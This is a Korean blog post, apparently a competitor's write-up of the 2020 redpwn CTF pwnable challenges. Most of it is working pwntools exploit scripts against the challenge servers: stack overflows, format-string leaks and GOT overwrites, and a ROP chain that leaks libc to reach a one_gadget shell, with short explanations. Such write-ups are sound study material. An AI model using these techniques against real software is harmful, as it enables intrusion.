CTF/2020

Redpwn CTF

leemon_ 2020. 6. 26. 08:15

작년에 재미있게 했던 기억이 있어서 올해에도 빠지지 않고 참여했습니다.

기말시험이나 BoB최종 발표랑 겹쳐서 많이 투자하지는 못했지만 올해도 재밌었습니다.

특히, 작년에 비해 서버가 괜찮았습니다. 작년에는 펑펑 터지던거로 기억하고있어서...

내년에는 좀 더 높은 등수를 노릴 수 있도록 더욱 노력하겠습니다.

 

 

SOLVED

Pwnable

coffer-overflow-0

from pwn import *
p=remote("2020.redpwnc.tf", 31199)

py = 'A'*28
p.sendlineafter("with?",py)

p.interactive()

 

coffer-overflow-1

from pwn import *
p=remote("2020.redpwnc.tf",31255)

py = ''
py = 'A'*24
py += p64(0xCAFEBABE)
p.sendlineafter("with?", py)

p.interactive()

 

coffer-overflow-2

from pwn import *
p=remote("2020.redpwnc.tf", 31908)

magic = 0x4006E6
py = ''
py += 'A'*24
py += p64(magic)
p.sendlineafter("with?", py)

p.interactive()

 

secret-flag

from pwn import *
p=remote("2020.redpwnc.tf",31826)

py = ''
py += '%7$s '
p.sendlineafter("?",py)
p.interactive()

동적할당한 주소를 변수에 저장하고 할당한 주소 안에 플래그 내용 넣어두었다. FSB를 이용하여 해당 주소를 %s로 출력하면 flag를 획득할 수 있다.

 

the-library

from pwn import *
p=remote("2020.redpwnc.tf", 31350)
L=ELF("./the-library")
libc=ELF("./libc.so.6")

pop_rdi = 0x0400733
main = 0x400637
py = ''
py += 'A'*24
py += p64(pop_rdi)
py += p64(L.got['read'])
py += p64(L.plt['puts'])
py += p64(main)

p.sendlineafter('name?', py)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc_base = leak - libc.symbols['read']
print hex(libc_base)
one_gadget = libc_base + 0x4f2c5
py2 = ''
py2 += 'A'*24
py2 += p64(one_gadget)

p.sendlineafter('name?', py2)

p.interactive()

간단한 ROP 문제

 

dead-canary

from pwn import *
p=remote("2020.redpwnc.tf", 31744)

L=ELF("dead-canary")
libc=ELF("./libc-2.27.so")
stack_chk_got = L.got['__stack_chk_fail']
main = 0x0400737
main_low = 0x0737

py = ''
py += '%{}c'.format(main_low)
py += '%8$hn'
py += 'A'*(8-len(py)%8)
py += p64(stack_chk_got)
py += 'A'*(265-len(py))
p.sendafter("name:", py)

py2 = ''
py2 += '%77$p'
py2 += '0'*(272-len(py2))
p.sendlineafter("name:", py2)

p.recvuntil("Hello ")
leak = int(p.recvn(14),16)
libc_start_main = leak - 231
libc_base = libc_start_main - libc.symbols["__libc_start_main"]

one_gadget = libc_base + 0x4f322
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff

low = one_gadget_low
if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low

if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle

py4 = ''
py4 += p64(0)*34
p.sendlineafter("name:", py4)

py3 = ''
py3 += '%{}c'.format(low)
py3 += '%11$hn'
py3 += '%{}c'.format(middle)
py3 += '%12$hn'
py3 += '%{}c'.format(high)
py3 += '%13$hn'
py3 += '0'*(8-len(py3)%8) 
py3 +=  p64(stack_chk_got)
py3 +=  p64(stack_chk_got+2)
py3 +=  p64(stack_chk_got+4)#64
py3 +=  p64(0)*26

p.sendlineafter("name:", py3)
p.interactive()

마찬가지로 FSB 문제이다.

입력시 크기를 288로 고정하기에 RET overwrite밖에 할 수 없다.

공격은 다음과 같이 진행되었다

  1. '__stack_chk_fail'의 got에 main의 주소를 넣어주어 다시 main이 시작되어 입력할 수 있게끔 해주었다.

  2. RET에 위치한 '__libc_start_main+231'의 주소를 leak하여 libc_base를 구한다.

    leave를 진행하기 전 카나리 호출을 이용하여 main이 호출된 후 다시 sub rsp, 110h로 스택이 늘어나기때문에 이를 유의하자

  3. p64(0)*34를 한번 보내준다

  4. libc_base를 이용하여 one_gadget 주소를 구한 후 '__stack_chk_fail'의 got에 overwrite해준다.

3번 과정을 해주는것은 바로 one_gadget주소를 써주면 조건에 맞지가 않아서 main으로 한번 돌어가서 스택을 늘려주었다.